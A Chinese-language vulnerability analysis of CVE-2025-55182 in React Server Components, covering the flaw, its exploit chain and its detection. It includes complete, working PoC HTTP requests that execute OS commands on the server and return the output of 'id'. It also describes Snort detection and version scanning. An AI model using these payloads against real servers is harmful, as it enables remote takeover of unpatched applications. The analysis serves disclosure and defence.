React Server Components 是 React 19 中引入的一项功能,允许组件在服务器端渲染,而非在客户端浏览器中渲染。服务器可以处理复杂的计算任务,同时只将渲染后的结果发送给客户端。
RSC 中服务器与客户端之间的通信基于 React Flight 协议。该协议处理服务器与客户端之间传输数据的序列化与反序列化。当客户端需要调用服务器端函数(Server Action)时,它会发送一个包含已序列化数据的特殊格式请求,供服务器进行反序列化并处理。
Flight 协议使用一种带有数据类型标记的特定序列化格式。例如:
漏洞正存在于这种序列化机制中。服务器在处理这些引用时,并未正确验证所请求的属性是否确实是预期模块中的合法导出。
CVE-2025-55182 本质上是一个不安全反序列化漏洞,存在于 RSC 处理 Flight 协议传入 payload 的方式中。该漏洞位于 react-server-dom-webpack 包中的 requireModule 函数内。
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
严重问题在于使用方括号表示法进行的访问:moduleExports[metadata[2]]
在 JavaScript 中,当使用方括号表示法访问属性时,JavaScript 引擎不仅会检查对象自身的属性,还会遍历整个原型链。这意味着攻击者可以引用模块未明确导出的属性。
最重要的是,JavaScript 中的每个函数都有一个指向 Function 构造函数的 constructor 属性。通过访问 someFunction.constructor,攻击者可以获得对全局 Function 构造函数的引用,当以字符串形式的参数调用时,该构造函数可以执行任意 JavaScript 代码。
该漏洞之所以可以被利用,是因为 React 的 Flight 协议允许客户端通过冒号分隔的引用语法来指定这些属性路径。攻击者可以构造一个类似 $1:constructor:constructor 的引用,该引用将执行如下遍历过程:
.constructor 属性(获得 Function 构造函数).constructor(仍然是 Function 构造函数,但确认了访问链)PoC 首先发送一个包含三个字段的 multipart form 请求。第一个字段包含一个刻意构造的伪造 Chunk 对象:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
该对象模拟了 React 中 chunk 类的内部结构。通过将 then 设置为引用 Chunk.prototype.then,它创建了一个自引用结构。当 React 处理并 await 这个 Chunk 时,then 方法会以伪造的 Chunk 作为 this 上下文被调用。
下一个关键组件是 $B1337 引用。在 React 的 Flight 协议中,$B 前缀表示 Blob 引用。当 React 处理 Blob 引用时,它会调用一个使用以下表达式的函数:response._formData.get(response._prefix + id)
此处,_response 对象已被注入了恶意属性。当 Blob 处理器执行:response._formData.get(response._prefix + id)
它实际上会执行:Function("process.mainModule.require('child_process').execSync('xcalc');1337")
原因是 _formData.get 被设置为 $1:constructor:constructor,该引用被解析为 Function 构造函数。_prefix 的值包含恶意代码。当二者结合时,Function 构造函数会以恶意代码字符串作为参数被调用,从而创建并执行一个包含任意 JS 代码的函数。
Payload process.mainModule.require('child_process').execSync('xcalc') 展示了此利用链的能力。该 Payload 执行以下操作:
process.mainModule(当前正在执行的主模块)require 方法加载 child_process 模块execSync 执行操作系统命令xcalc)以证明利用成功该 Payload 可以修改为建立反弹 shell、提取包含机密信息的环境变量、读取敏感文件,或执行 Node.js 进程有权执行的任何操作。
查看 maple3142 的 PoC 中的一个完整请求:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Next-Action: x 标头触发了 React 的 Server Action 处理机制。请求体包含 3 个部分:
_response 结构的伪造 Chunk 对象。$@0 引用指回字段 0,形成自引用结构。当服务器处理此请求时,它会反序列化字段 0,在字段 1 中遇到 $@0 引用,建立自引用的 then 属性,随后触发 Blob 处理器,该处理器将通过 Function 构造函数执行代码。
CVE-2025-55182 影响以下版本的 React Server Components:
该漏洞之所以危险,是因为:
create-next-app 创建的标准 Next.js 应用无需修改源代码即可被利用。根据 Shodan 的数据,有超过 571,000 台公共服务器使用 React 组件,444,000 台服务器使用 Next.js。尽管并非所有服务器都运行受影响版本,但潜在攻击面非常巨大。
攻击请求必须同时具备以下非常特定的要素组合:
Next-Action 标头,且数据格式为 multipart/form-data。工作原理:此 Snort 规则将阻止/告警发往服务器(to_server)的、具备上文列出的所有异常特征的网络流量(Headers + PCRE 检查恶意 payload 字符串)。
目的:在网络传输过程中及时发现并阻止利用行为。
工作原理:在服务器上或软件构建流程(CI/CD)中定期运行扫描命令,以查找存在漏洞的 Node.js 库包(npm_packages)。
目标包:react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack
扫描的漏洞版本:19.0.0、19.1.0 至 19.1.2 以下,以及 19.2.0。
目的:在存在风险的应用程序上线生产环境之前主动发现它们。
供实验(lab)使用的 Payload:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--